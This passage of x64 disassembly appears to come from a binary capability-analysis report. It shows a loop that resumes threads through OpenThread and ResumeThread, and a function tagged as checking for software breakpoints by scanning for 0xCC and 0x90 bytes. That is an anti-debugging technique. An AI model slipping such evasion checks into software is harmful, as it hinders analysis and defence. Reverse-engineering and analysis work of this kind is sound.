xor edi, edi
cmp dword [rcx + 0xc], edi
jbe 0x180047f7e
mov r8, qword [rbx]
xor edx, edx
mov r8d, dword [r8 + rdi*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180047f77
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbx + 0xc]
jb 0x180047f4b
mov r8, qword [rbx]
xor edx, edx
mov rcx, qword [0x1800d00c0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x180048304
Capabilities:
Check for software breakpoints

Disassembly:
mov r8b, byte [rcx]
mov r9d, edx
test r8b, r8b
je 0x18004831b
cmp r8b, 0x90
je 0x18004831b
cmp r8b, 0xcc
jne 0x18004833d
mov r10d, 1
mov edx, r10d
cmp r9d, r10d
jbe 0x180048339
mov eax, edx
cmp byte [rax + rcx], r8b
jne 0x18004833d
add edx, r10d
cmp edx, r9d
jb 0x180048329
mov eax, r10d
ret
xor eax, eax
ret